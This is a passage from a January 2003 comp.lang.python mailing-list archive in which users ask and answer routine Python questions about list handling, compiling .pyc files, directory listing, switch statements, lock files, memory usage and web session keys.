standard, write doc entries to doc standard, agree to fix bugs and
update to run with new releases, etc).  Note that there is a real
tradeoff between wider distribution and some loss of control.

Terry J. Reedy





From phr-n2003b at NOSPAMnightsong.com  Wed Jan 29 19:01:44 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 29 Jan 2003 16:01:44 -0800
Subject: best way to do some simple tasks
References: <c42e062e.0301291531.6a656e4@posting.google.com>
Message-ID: <7xy9535wuv.fsf@ruckus.brouhaha.com>

elechak at bigfoot.com (Erik Lechak) writes:
> 1) String interpolation of lists and dictionaries
>    What is the correct and best way to do this?
>    x =[1,2,3,4]
>    print "%(x[2])i blah" % vars() # <- does not work

print "%d blah" % x[2]

> 
> 2) Perform a method on each element of an array
>    a= ["  hello  ",  "  there  "]
>    
>    how do I use the string's strip() method on each element of the
> list?
>    
>    a = map((lambda s: s.strip()), a) # looks ugly to me
>    
>    for e in a:                       # this looks even worse
>       temp.append(e.strip())
>    a=temp

a = [strip(x) for x in a]

> 3) What is the best way to do this?
> 
>    a=[1,2,3]
>    b=[1,1,1]
>    
>    how do I get c=a+b (c=[2,3,4])?

c = [a[i] + b[i] for i in range(len(a))]

> 4) Why does this work this way?
>    d=[1,2,3,4,5]
>    for h in d:
>       h+=1
>    print d
>    >>>[1, 2, 3, 4, 5]
>    
>    Is there a python reason why h is a copy not a reference to the
> element in the list?  In perl the h would be a ref.  If d was a tuple
> I could understand it  working this way.

Python doesn't have references.



From peter at engcorp.com  Mon Jan 27 18:04:03 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 27 Jan 2003 18:04:03 -0500
Subject: .pyc files
References: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net>
Message-ID: <3E35BAE3.83807E49@engcorp.com>

Newt wrote:
> 
> Silly question:
> 
> From a command line, how do I create pyc files? I know I can do it from
> within IDLE, but I want to use a different editor (for other languages).

This just worked for compiling file "logger.py" in my temp folder:

python -c "import py_compile as p; p.compile('c:/temp/logger.py')"

-Peter



From adalke at mindspring.com  Fri Jan 10 17:39:06 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Fri, 10 Jan 2003 15:39:06 -0700
Subject: ImportError: cannot import name quoteattr
In-Reply-To: <pan.2003.01.10.21.40.37.356223@freenet.de>
References: <pan.2003.01.10.21.40.37.356223@freenet.de>
Message-ID: <avnigf$rp3$1@slb2.atl.mindspring.net>

Guido Schimmels wrote:
> wxGlade gives me this error:
> from xml.sax.saxutils import quoteattr
> ImportError: cannot import name quoteattr

Works for me

[dalke at zebulon biopython]$ python
Python 2.2.1 (#1, Apr 15 2002, 14:36:39)
[GCC 2.96 20000731 (Red Hat Linux 7.1 2.96-98)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
 >>> from xml.sax.saxutils import quoteattr
 >>>

Can you do the same from your interactive Python shell?
Is the Python which wxGlade uses the same as 2.2.2?  Do
you have PyXML installed?

					Andrew
					dalke at dalkescientific.com




From bokr at oz.net  Thu Jan  2 10:11:49 2003
From: bokr at oz.net (Bengt Richter)
Date: 2 Jan 2003 15:11:49 GMT
Subject: Simple encryption proposal. Comments ?
References: <BOMP9.5093$CG6.90311@news4.e.nsc.no> <mailman.1041211955.22409.python-list@python.org> <aZYP9.5185$CG6.93090@news4.e.nsc.no> <7xptrj8rr5.fsf@ruckus.brouhaha.com> <aurvdu$sqe$0@216.39.172.122> <8a6ba1da.0301020356.7916bc80@posting.google.com> <7xbs2zrbdf.fsf@ruckus.brouhaha.com> <av1g67$b3l$0@216.39.172.122> <7xptrfa9hi.fsf@ruckus.brouhaha.com>
Message-ID: <av1krl$qhr$0@216.39.172.122>

On 02 Jan 2003 06:53:45 -0800, Paul Rubin <phr-n2002b at NOSPAMnightsong.com> wrote:

>> ># _test2()    # depends on secrand.py module, not included
>>                                                ^^^^^^^^^^^^
>> We seem to a chain going ;-) Google doesn't ... Um, where might one ...
>
>Secrand is used only by one of the testing functions, so it's not
>needed to use that base52 module.  It's *nix-specific since it reads
Yeah, I realize. Just my mental packrat working overtime ;-)

>bytes from /dev/urandom.  But here it is:
[...snip...]

Thanks some more ;-)

Regards,
Bengt Richter



From rrichardson at eti-main.enabletech.com  Fri Jan  3 15:21:15 2003
From: rrichardson at eti-main.enabletech.com (Rick Richardson)
Date: Fri, 3 Jan 2003 12:21:15 -0800 
Subject: php vs python
Message-ID: <A7E67E8DB535D411ADC8009027F6449B496374@ETI-MAIN>

It depends on what you're using for the web serving. If you are planning on
using mod_python with apache you won't
get much that's different from php, It's all got to do with style. People
who aren't full time programmers often appreciate python's friendly syntax,
wheras php syntax and standard lib is very c++-ish.

If you're planning on using zope, or twisted as your webserver however, you
will get a completely different web development framework that really
leverages the features of python that makes it different from other
languages (flexibility, strong-dynamic typing etc). There's too much to list
as their features, its really a whole new web development paradigm.


-----Original Message-----
From: python-list-admin at python.org
[mailto:python-list-admin at python.org]On Behalf Of Joe
Sent: Friday, January 03, 2003 12:02 PM
To: python-list at python.org
Subject: php vs python


I was attending a conference about php, and heard talk about some websites
switching from php to Phyton.

I have been programming php for some years now and just recently heard about
python used for web programming.

What can Phyton do for me that php cant't?

Regards Joe


-- 
http://mail.python.org/mailman/listinfo/python-list




From altis at semi-retired.com  Sun Jan 26 13:51:08 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Sun, 26 Jan 2003 10:51:08 -0800
Subject: xlistdir -- an iterator version of os.listdir
References: <20030126051723.20234.qmail@admin.jdiworks.net> <mailman.1043595407.12112.python-list@python.org>
Message-ID: <j5WY9.11$9n4.29820@news.uswest.net>

http://www.python.org/doc/current/lib/module-glob.html

"The glob module finds all the pathnames matching a specified pattern
according to the rules used by the Unix shell. No tilde expansion is done,
but *, ?, and character ranges expressed with [] will be correctly matched.
This is done by using the os.listdir() and fnmatch.fnmatch() functions in
concert, and not by actually invoking a subshell. (For tilde and shell
variable expansion, use os.path.expanduser() and os.path.expandvars().) "

ka

"Mongryong" <Mongryong at sympatico.ca> wrote in message
news:mailman.1043595407.12112.python-list at python.org...
> It would also be nice to be able to list files allow with a certain
> pattern or suffix.
>
> On Sun, 2003-01-26 at 00:17, Terrel Shumway wrote:
> > xlistdir.xlistdir is an iterator version of os.listdir.
> >
> > It is particularly useful if you have a directory with, for example,
> > 40,000 files, and you only want to look at the first 10.
> >
> >   from xlistdir import xlistdir
> >   x = xlistdir("directory-with-LOTS-of-files")
> >
> >   for i in range(10):
> >       print x[i] # or "x.next()"
> >
> >
> > You might also use it to filter the list before allocating it:
> >
> >   files_only = [ file for file in xlistdir(bigdir) \
> > if os.path.isfile(os.path.join(bigdir,file)) ]
> >
> >
> > Most of this code was cut and pasted from xreadlinesmodule.c and
posixmodule.c
> > in Python-2.2.2.tgz
> >
> > This initial hack may not even compile on platforms without
> > opendir/readdir/closedir (e.g. mswin32, mswin16, OS/2) because I do
> > not have access to those platforms.
> >
> > It does include a unit test, and it does pass for me on Linux. 8-)
> >
> > If you can build extension modules on MS_WIN32, MS_WIN16, or OS/2 (or
others),
> > please try this out.  If you can make it compile and pass the unit
tests,
> > you will get a really cool function to use in your programs and share
with
> > the rest of the python community 8-).
> >
> >
> > Get the code from http://wxidle.sourceforge.net/projects/xlistdir/
> >
> > -- Terrel
> >
> >
> > --
> > http://mail.python.org/mailman/listinfo/python-list
>
>
>





From spam at magnetic-ink.dk  Thu Jan  2 07:11:30 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Thu, 2 Jan 2003 12:11:30 +0000 (UTC)
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com>
Message-ID: <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk>

Johan wrote:

> Anyone know some good Python editors under Linux?
> With good color highlightning... :)

I've been using jed since 1995.


  // Klaus

-- 
 ><> 	vandag, m?re, altyd saam



From mwm at mired.org  Mon Jan 27 17:50:58 2003
From: mwm at mired.org (Mike Meyer)
Date: Mon, 27 Jan 2003 22:50:58 GMT
Subject: Why does int(5.0) returns 0
References: <mailman.1043645268.19110.python-list@python.org>
Message-ID: <x7lm16tded.fsf@guru.mired.org>

spatel <spatel at cinci.rr.com> writes:
> glibc 2.3.1-r2 with pentium4 and -O3 optimization created this mess. When I
> recompile glibc without optimization, it fix this problem. Thank you very
> much for all of your help.

The FreeBSD community generally considers gcc optimization levels
2 or greater to be broken. You might try it with just -O. That works
fine here. Actually, I use "-O -pipe".

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From stuart at bmsi.com  Wed Jan  8 15:06:09 2003
From: stuart at bmsi.com (Stuart D. Gathman)
Date: Wed, 08 Jan 2003 20:06:09 GMT
Subject: reading the memory-space occupied by a PID
References: <3E1C33DE.3DD5CD17@gmx.de>
Message-ID: <Rw%S9.13813$t06.313748@news2.east.cox.net>

On Wed, 08 Jan 2003 09:21:19 -0500, Andras Schiff wrote:

> i want to write a program that gives out the the memory which is
> currently occupied by a given PID.
> With Unix-command 'top' you only get the maximal memory space wich was
> ever used by the PID but not the current one, which might be much
> smaller.

Top gives you the current memory space allocated by the process.  It so
happens, that a great many programs don't immediately allocated memory
back to the OS when they are done with it.  In fact, most never give it
back at all - just add it to an internal free list.  Those that do give it
back, delay doing so since changing OS memory allocation is relatively
expensive.

Recent Java VMs release memory back to the OS when it hasn't been used in
a while. Does CPython do this?

> Iam an absolute Newbie in programming so i don't know if there is a way
> in Python?

By the nature of the problem, there is no way in any language without the
cooperation of the target program.  The OS doesn't keep track of how an
application uses its memory - it just shells it out.  If the process you
want to query is running CPython, you can write a little server that
listens on a socket and prints current memory stats to callers.  (The
same goes for any language, but it is very easy in Python.)

-- 
	      Stuart D. Gathman <stuart at bmsi.com>
Business Management Systems Inc.  Phone: 703 591-0911 Fax: 703 591-6154
"Confutatis maledictis, flamis acribus addictis" - background song for
a Microsoft sponsored "Where do you want to go from here?" commercial.



From danb_83 at yahoo.com  Thu Jan 16 02:08:25 2003
From: danb_83 at yahoo.com (Dan Bishop)
Date: 15 Jan 2003 23:08:25 -0800
Subject: FW: Switch statements again
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <1042672900.3e25ed04a5f1a@www.progoth.com> <mailman.1042687953.21581.python-list@python.org>
Message-ID: <ad052e5c.0301152308.4e7a83ee@posting.google.com>

"David K. Trudgett" <dkt at registriesltd.com.au> wrote in message news:<mailman.1042687953.21581.python-list at python.org>...
> On Wednesday 2003-01-15 at 18:21:40 -0500, Steven Scott wrote:
> > Quoting Steven Scott <Steven.Scott at Synchrologic.com>:
> > > 
> > > If/elif/else remains the most common method.  If Python ever gains
> > > something
> > > like a switch statement you can bet the farm it won't have a "fall thru"
> > > feature though, so the way you've coded your C switch statement wouldn't
> > > work.
> > > 
> > 
> > but the absolute /only/ reason you'd use a switch over an if (besides
> > looking better) is fall through.
> 
> Pascal has no fall though on its case statement, but presumably Wirth
> thought it was still worth it. A hundred elifs in a row is just plain
> ugly, anyway. Python should get a case/switch statement, just as Perl
> 6 is going to get one. Leaving it out of both languages to begin with
> was misguided. (At least Perl has always had better ways around the
> problem than Python.)

Why not have optional, explicit fallthru?

print "On the %s day of Christmas, my true love gave to me" % ordinal(day)
switch day:
   case 12:
      print "12 drummers drumming,"
      fall
   case 11:
      print "11 pipers piping,"
      fall
   case 10:
      print "10 lords a-leaping,"
      fall
# etc.



From tundra at tundraware.com  Thu Jan 16 13:40:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 16 Jan 2003 18:40:07 GMT
Subject: Declaring A Function Argument As Global?
In-Reply-To: <mailman.1042738646.3193.python-list@python.org>
References: <9fp60b.86b2.ln@boundary.tundraware.com> <mailman.1042738646.3193.python-list@python.org>
Message-ID: <1pt60b.atb2.ln@boundary.tundraware.com>

Skip Montanaro wrote:
> I believe this should work
> 
>     def lhandler(list):
>         list[:] = list[1:]
> 
> Skip
> 

'Works like a charm.  But why?  I thought list[:] merely makes a copy of
something - obviously there is more to the story if it is on the LHS.
'Care to explain the semantics here?

Many thanks to all who responded...
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From cuniREMOVE_THIS at programmazione.it  Wed Jan  8 18:25:02 2003
From: cuniREMOVE_THIS at programmazione.it (Antonio Cuni)
Date: Wed, 08 Jan 2003 23:25:02 +0000
Subject: no side effects
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>
Message-ID: <f0civa.ki4.ln@anto.cuni.lan>

Michele Simionato wrote:

> I was surprised by the following code:
> 
>>>> for i in [1,2,3]:
> ...     print i,
> ...     i=3
> 
> I would have expected only 1 to be printed, but instead Python
> continues the loop without noticing that the value of i has
> changed. IOW, no side effect.

If you looks at the while+iterator equivalent of for loops you won't be 
surprised any more:

_hidden_iterator = iter([1,2,3])
while 1:
    try: i = _hidden_iterator.next()
    except StopIteration: break 
    print i,
    i = 3

Your for loop is semantically equivalent to my code above: you can easily 
see why there are "no side effects"

ciao Anto
-- 
"Computer science is not about computers any more than astronomy
is about telescopes." -- EW Dijkstra




From max at alcyone.com  Thu Jan 30 23:42:51 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 30 Jan 2003 20:42:51 -0800
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <x7bs1y1txx.fsf@guru.mired.org> <mwm@mired.org> <200301301648.h0UGmTjL000999@ratthing-b246.strakt.com> <mailman.1043949408.14743.python-list@python.org> <JWd_9.105583$0v.3054327@news1.tin.it> <4k1j3v8clvrsg5d2h2nf5u3rqsp4aum3c5@4ax.com>
Message-ID: <3E39FECB.66AB4434@alcyone.com>

Dale Strickland-Clark wrote:

> Alex Martelli <aleax at aleax.it> wrote:
> 
> > A class is string-like if it acts like a string.  If a
> > class lets its instances be concatenated to strings, it's
> > pretty string-like -- all of str, unicode and UserString
> > do, and no other type that's either built-in or the standard
> > library.  Making this easily checked feature the single
> > discriminant of "string-likeness" appears quite OK to me
> > for most purposes.  You can wrap the test into highly readable
> > form by the simple trick of defining a function;-)...e.g.:
> >
> > def isstringlike(x):
> >     try: return x+'!'
> >     except TypeError: return False
> 
> There's a bit of a language deficiency here if you have to resort to
> this type of obscure trick.

I disagree.  I think having to resort to that "obscure trick" too often
reveals a program design problem, not a language deficiency.

In dynamically-typed languages like Python, overloading functions (which
is I presume the crux of where you're doing this test) based on type
usually isn't a great idea.  Usually it's better to have two
functions/methods instead.

I will freely admit to on occasion breaking this dictum myself, but
usually I do it in the reverse way:  I'll check if it it's a certain
type, and if not, make the more general assumption; e.g., for a function
intended to include another file in some capacity, I'll might check if
it's a string, then treat that as a filename; if it's not a string, I'll
presume it's a filelike object and just continue on.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The great artist is the simplifier.
\__/ Henri Amiel
    Sade Deluxe / http://www.sadedeluxe.com/
 The ultimate Sade encyclopedia.



From Padraig at Linux.ie  Tue Jan 28 07:30:29 2003
From: Padraig at Linux.ie (Padraig at Linux.ie)
Date: Tue, 28 Jan 2003 12:30:29 +0000
Subject: How can I avoid running a python script multiple times?
In-Reply-To: <mailman.1043752190.21631.python-list@python.org>
References: <mailman.1043752190.21631.python-list@python.org>
Message-ID: <3E3677E5.5070901@Linux.ie>

Grzegorz Adam Hankiewicz wrote:
> Hi.
> 
> Using the concurrency jargon, I'm trying to mark python scripts as
> 'critical processes' which are not allowed to be run more than one
> at the same time (I'm constrained to unix environments, BTW). To
> do so, and following the logic of a bash script I had, I've created
> a function which is passed the real entry point of the script.

[snip]

> def run_if_possible(entry_point):
>    """Given a function, it is called if there's no previous process running"""
>    permission = 0
>    lock_path = "%s.lock" % os.path.realpath(sys.argv[0])
>    if os.path.isfile(lock_path):
>       file = open(lock_path, "rt")

what does t do in "rt" ?
Hmm this didn't give an error for me: file = open(lock_path, "wqst")
So unrecognised options must be ignored. I tried x also, but this
seemed to set the exclusive bit? Where are these documented?
Ah, OK on Linux (glibc):
     info libc "Opening Streams"
This shows that the x is glibc specific and sets O_EXCL
on the subsequent open() call (which is what you want).

You could just do os.system("sematree ...") as I've worked
this out already: http://www.pixelbeat.org/sematree/

Note a simple atomic locking mechanism could be to
try and create a directory, which should work over
NFS etc. Might be simpler that messing with exclusive
bits on files?

Note also sockets would be troublesome as you'll
have issues with SO_REUSEADDR for one thing.

P?draig.




From andrew-pythonlist at puzzling.org  Mon Jan  6 23:34:50 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Tue, 7 Jan 2003 15:34:50 +1100
Subject: renaming files
In-Reply-To: <3e1a5058_3@nopics.sjc>
References: <3e1a5058_3@nopics.sjc>
Message-ID: <20030107043450.GC32165@frobozz.local>

On Mon, Jan 06, 2003 at 07:58:22PM -0800, Hilbert wrote:
> 
> I can't find no easy way. I don't want to use a system call to 'ls', so got
> a list
> of files with os.listdir(), but how can I get a selective list?
> I can match "test-" with string.find, but I'm really looking for test-????.*
> (csh wildcards).

Look at the glob module.

-Andrew.





From drobinow at yahoo.com  Mon Jan  6 11:12:12 2003
From: drobinow at yahoo.com (David Robinow)
Date: 6 Jan 2003 08:12:12 -0800
Subject: new years resolutions
References: <mailman.1041819910.29344.python-list@python.org>
Message-ID: <59a4b541.0301060812.75a20e9c@posting.google.com>

"Bjorn Pettersen" <BPettersen at NAREX.com> wrote in message news:<mailman.1041819910.29344.python-list at python.org>...
> > From: Laura Creighton [mailto:lac at strakt.com] 
>  [...]
> > > Now, if I may ask a personal question, what you didn't like 
> > in science/academia ?
> > 
> > This is just off the top of my head....
> > ... 
> ...
> The list is definitely going in my quotes file :-)

 quotes file?  I thought this was the Table of Contents
 of Laura's next book.



From dkt at registriesltd.com.au  Mon Jan  6 17:12:02 2003
From: dkt at registriesltd.com.au (David K. Trudgett)
Date: Tue, 7 Jan 2003 09:12:02 +1100
Subject: Truth in dating (was: HELP! Must choose language!)
In-Reply-To: <x7fzs6yzpm.fsf@guru.mired.org>; from mwm@mired.org on Mon, Jan 06, 2003 at 11:07:01AM -0600
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041399123.31276.python-list@python.org> <v1gdaicshqmr47@corp.supernews.com> <mailman.1041812790.32002.python-list@python.org> <3E18E6F8.8C5BFEEA@alcyone.com> <yyyznqecqch.fsf@adams.patriot.net> <x7fzs6yzpm.fsf@guru.mired.org>
Message-ID: <20030107091202.E21157@regdp-02.intint.registriesltd.com.au>

On Monday 2003-01-06 at 11:07:01 -0600, Mike Meyer wrote:

> Nick Vargish <nav at adams.patriot.net> writes:
> 
> > Erik Max Francis <max at alcyone.com> writes:
> > > (The object orientation in Perl, ugh.)
> > They added object orientation to Perl?
> 
> Yes, the swiss army chainsaw of programming languages now has an OO
> blade.
> 
> > p.s. I'm joking! I know about it, I just refuse to look at it.
> 
> Probably for the best, especially if you recently ate.
> 

Although I still like Perl, yes, the OO stuff is rather interesting,
certainly unique. It works, though. Larry Wall (along with lots of
other people) is working on Perl 6 these days, which looks like it'll
have enough changes in it to make it virtually a whole new language.
Not new enough for dedicated Pythonistas, probably! ;-) It'll still have
punctuation and block delimiters :-). ... and OO will be done right
this time! Yay! 

I'm sure y'all needed to know that! ;-)

BFN,

David






From mcfletch at rogers.com  Sat Jan 25 18:00:50 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Sat, 25 Jan 2003 18:00:50 -0500
Subject: Generating Unique Keys
In-Reply-To: <7xfzrgq3su.fsf@ruckus.brouhaha.com>
References: <1043511783.4939.1.camel@refugeeMedia> <15922.49110.110304.235838@montanaro.dyndns.org> <mailman.1043515846.16890.python-list@python.org> <3E32E6EF.AA8C5A69@engcorp.com> <iRCY9.146$qb1.126@nwrddc01.gnilink.net> <mailman.1043531155.16388.python-list@python.org> <7xfzrgq3su.fsf@ruckus.brouhaha.com>
Message-ID: <3E331722.6060707@rogers.com>

There are plenty of ways to get (unencrypted) data from a web transaction:

    Snoop packet traffic (easiest path, generally blocked by 
socket-level encryption)

    Get the user's machine to give it to them via all sorts of 
bugs/exploits where the machine is fooled into thinking the cracker's 
machine is the server and renders up the cookie for validation (these 
exploits come up all the time, best to plan for them, decent protection 
requires use of well-known certificate authorities or a really good PKI 
infrastructure, as well as users patching their browsers (the same users 
who often don't know what "drag and drop" means, so it's pretty dicey 
relying on that))

    Stand between server and user and play "man-in-the-middle" (the 
hardest attacks to defend against IMO, as without 
well-known/already-known certificate authorities or a really good PKI 
infrastructure you can't even begin to know who you're talking to, you 
need a lot of thought on this or need to use an off-the-shelf approach 
such as SSL)

    Randomly guess until there's a collision (particularly if they don't 
care _which_ session they're taking over).

Enjoy,
Mike

Paul Rubin wrote:

>Mongryong <Mongryong at sympatico.ca> writes:
>  
>
>>Even with a 'randomly' generated session key, a malicious user can still
>>steal the session key of a active user.
>>    
>>
>
>How?
>  
>
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From Oschler at earthlink.net  Thu Jan 23 08:15:17 2003
From: Oschler at earthlink.net (Robert Oschler)
Date: Thu, 23 Jan 2003 13:15:17 GMT
Subject: Best SMTP/POP library?
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <slrnb2ten0.1gg.gerhard.haering@haering.opus-gmbh.net> <bJzX9.9$0L3.15587@news2.news.adelphia.net> <slrnb2tj3u.os.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <FVRX9.477$0L3.218162@news2.news.adelphia.net>

"Gerhard H?ring" <gerhard.haering at opus-gmbh.net> wrote in message
news:slrnb2tj3u.os.gerhard.haering at haering.opus-gmbh.net...
> Robert Oschler <Oschler at earthlink.net> wrote:
> > "Gerhard H?ring" <gerhard.haering at opus-gmbh.net> wrote in message
> > news:slrnb2ten0.1gg.gerhard.haering at haering.opus-gmbh.net...
>
> ^^
> Considering this reference "line", I agree you need a new MUA :-)
>

<snip>

Gerhard,

While I'm working on my Python email client, which will take quite some
time, I'm getting up to speed on Ximian.  You mentioned a problem with my
current email client (OE) with the "reference line" and the way it quotes.
Can you give me specifics so I can look out for these things when I'm
configuring Ximian's email client?

thx






From Simon.Wittber at perth.maptek.com.au  Thu Jan  2 23:01:39 2003
From: Simon.Wittber at perth.maptek.com.au (Simon Wittber (Maptek))
Date: Fri, 3 Jan 2003 12:01:39 +0800
Subject: [OT] RE: new years resolutions
Message-ID: <10F0E58C0018054484E329DC494C4D7F01BCF2@mexper1.maptek.net.au>

>> 
>> eltronic at juno.com fed this fish to the penguins on Thursday 02
January 
>> 2003 03:34 pm:
>> 
>> >
>> > HTML is a programming language, why else would I have to debug it?
>> >
>>         Then news posts and email are programming languages too, as I

>> have to debug (spell-check) them <G>
>
>I see the grin, but note that this is exactly why those
>are *not* programming languages, while HTML definitely is.
>>If you write the wrong HTML, the computer does not do what it is
supposed to do, while if you put the wrong content in your email or news
>post, only humans mind.
>
>Telling a computer (even a mechanical one) what to do is programming,
pure and simple.

This thread is a troll. The HTML/programming topic has just been argued
to ***death***. Any responses to this thread (including this one)are
troll victims.




From hemoglobea at hotmail.com  Fri Jan 24 17:35:55 2003
From: hemoglobea at hotmail.com (Stanley)
Date: 24 Jan 2003 14:35:55 -0800
Subject: memory leak with large list??
Message-ID: <bdb2e78a.0301241435.f0f2cc3@posting.google.com>

I should start out by saying that I am using the linux command 'ps' to
check memory usage, and I am not entirely sure of the implications of
this.

>>> def memcheck():
>>> 	command_text = 'ps -o pmem,rss,rssize,sz,vsz ' + str(os.getpid())
>>> 	os.system(command_text)


First I check the memory footprint of the process.
%MEM  RSS  RSS    SZ   VSZ
 0.3 1824 1824   734  2936

Then I generate a large list (12 million floats), either using map, a
list comprehension, or preallocating a list, then filling it using a
for loop.


>>> big_list = [float(index) for index in xrange(12000000)]

or 

>>> big_list = map(float, xrange(12000000))

or 

>>> big_list = [0.0] * 12000000
>>> for index in xrange(12000000):
...	    big_list[index] = float(index)


When I check the memory footprint again, it is larger than I would
expect, but I'm not sure what the per element overhead of a list is.

%MEM  RSS  RSS    SZ   VSZ
46.2 237648 237648 59690 238760

So then delete it.

>>> del(big_list)

But the memory footprint of the process remains very large:

%MEM  RSS  RSS    SZ   VSZ
37.1 190772 190772 47971 191884


Is python leaking memory, or is there something else going on here.



I should note, if I just preallocate the list with 0.0:

>>> big_list = [0.0] * 12000000

and then delete it, I don't see the leak, but then memory footprint is
smaller than you would expect
from 12 million floats:

%MEM  RSS  RSS    SZ   VSZ
 9.4 48700 48700 12453 49812

So I think python is using a shortcut in this case.


I am using Python 2.2.1 on Debian 3.0, kernel 2.4.17-686.

Thanks for the help!



From lac at strakt.com  Tue Jan  7 10:24:34 2003
From: lac at strakt.com (Laura Creighton)
Date: Tue, 07 Jan 2003 16:24:34 +0100
Subject: Laura's List - was Re: new years resolutions 
In-Reply-To: Message from com-nospam@ccraig.org (Christopher A. Craig) 
   of "07 Jan 2003 10:02:16 EST." <87isx1atqf.fsf@beren.ccraig.org> 
References: <20030106212551.A19866@bob.sesgroup.com.au> <200301061159.h06BxgjL029439@ratthing-b246.strakt.com> <87isx1atqf.fsf@beren.ccraig.org> 
Message-ID: <200301071524.h07FOYjL002627@ratthing-b246.strakt.com>

> Laura Creighton <lac at strakt.com> writes:
> 
> > I would dearly like it we could separate the people who want and
> > need advanced vocational training, from the people who want to become
> > academics, from the people who are only having their entrance into
> > the workforce delayed for some number of years.  
> > 
> 
> This is an interesting comment because I am on the other side of the
> issue, but feel the same way.  At the university from which I
> graduated there were two major factions in the computing department:
> those who thought the job of the department was to fill an immediate
> need in industry, and those who felt the job of the department was to
> educate students on the underlying premises and theories of computing.
> 
> The first group would make arguments like "Why is the object oriented
> programming class taught in SmallTalk?  Nobody uses SmallTalk, why
> don't you teach it in Java?"  The second would make arguments like
> "SmallTalk is one of the most pure OO languages available, Java is not
> nearly as good for teaching OOD."
> 
> I, along with most of the professors, was in the second group.  It
> sounds like you are in the first.  For what it's worth, our professors
> had no problem with informing people of trade schools in our area
> where they could learn to program in Java or C++ or whatever, they
> just refused to orient their curricula around current language trends.
> 
> -- 
> Christopher A. Craig <com-nospam at ccraig.org>

I've got to work on my writing skills if you can get that impression.
I was active spear-waver in the 'Object-Oriented Programming needs
to be taught in Smalltalk' camp, and member of the 'if they want
advanced vocational training in how to use the C++ language, which
God knows they need, how about we make a Professional Faculty of
Programming, teach that _there_' kabal.

Laura Creighton




From newsapp at easljobs.com  Tue Jan  7 12:07:20 2003
From: newsapp at easljobs.com (EASLjobs recruiting)
Date: Tue, 07 Jan 2003 17:07:20 GMT
Subject: migrating from Access
In-Reply-To: <bj2bva.j15.ln@beastie.ix.netcom.com>
References: <Mf6S9.108144$k13.4219684@news0.telusplanet.net> <bj2bva.j15.ln@beastie.ix.netcom.com>
Message-ID: <cPDS9.105915$xp4.4554265@news1.telusplanet.net>

Thanks for the suggestions.  Can you think of a small python app that I 
can take a look at that implements this well?

Thanks,
Lester.

Dennis Lee Bieber wrote:
> Lester fed this fish to the penguins on Sunday 05 January 2003 06:56 pm:
> 
> 
>>More specifically,
>>In access I can assign the data source for a form (er, frame I guess
>>in python) as an SQL statement, and then all the objects in the form
>>read
>>from the same record.  How would I go about achieving this in Python?
>>
> 
>         As with almost everything except M$, you do this by hand.
> 
>         You detect the navigation (first, last, previous, next) buttons and 
> /you/ load the form with the data.
> 
>         And before you think that a failing -- I actually have one or two 
> Visual Basic & Database books that explicitly /avoid/ the use of bound 
> fields /because/ there are situation wherein bound fields do not 
> function properly (much better to avoid the pitfall of running into 
> such a situation by expecting it from the start).
> 
>         Depending upon the amount of data you could load a structure with all 
> the returned records, and just index through those (detecting changes 
> on a form so you write the changed record back to the database before 
> moving on), or you load the primary keys only and do single record 
> selects on navigation.
> 




From peter at engcorp.com  Mon Jan 13 14:56:46 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 13 Jan 2003 14:56:46 -0500
Subject: Elegant copy-by-value
References: <87n0m7urz4.fsf@gvdnet.dk> <x7ptr2rs1a.fsf@guru.mired.org> <avt19i$r4$1@slb0.atl.mindspring.net> <mailman.1042419802.2139.python-list@python.org> <3E22224E.313ADB4A@engcorp.com> <3iEU9.8324$Qr4.813921@newsread1.prod.itd.earthlink.net>
Message-ID: <3E2319FE.BCFFB8B7@engcorp.com>

Terry Hancock wrote:
> 
> Peter Hansen wrote:
> > Andrew Bennetts wrote:
> >> In which case, perhaps all they want is the following code:
> >>      from copy import copy, deepcopy
> >>      __builtins__.copy = copy
> >>      __builtins__.deepcopy = deepcopy
> > Added to a file called sitecustomize.py somewhere in the set
> > of directories in sys.path...
> 
> Which means it'll break as soon as someone else tries to use his code.
> Isn't that a very forgettable place? It reminds me of another thread in
> which someone wanted to be able to reach standard library modules even if
> they are overloaded by a local module.  Is this really a wise thing to do?
> Or should such code perhaps go in a __init__.py for whatever package is
> being developed?
> 
> Just trying to plan ahead ;-)

Good point.  That goes back to the original advice of "learn to like it
as it is" instead of jumping through hoops to avoid a little extra typing.

I was just trying to make it as convenient as he seemed to want, by
avoiding those "inconvenient" imports and assignments above.

Thanks for pointing out again how futile this is...

-Peter



From uwe.schmitt at procoders.net  Thu Jan  2 08:03:07 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 2 Jan 2003 13:03:07 GMT
Subject: Printing
References: <Pine.LNX.4.33L2.0301021351090.3730-100000@cyryl.slcj.uw.edu.pl>
Message-ID: <av1dab$v3fk5$1@hades.rz.uni-sb.de>

Pawel J. Maczewski <pjmacz at slcj.uw.edu.pl> wrote:
> Hi,
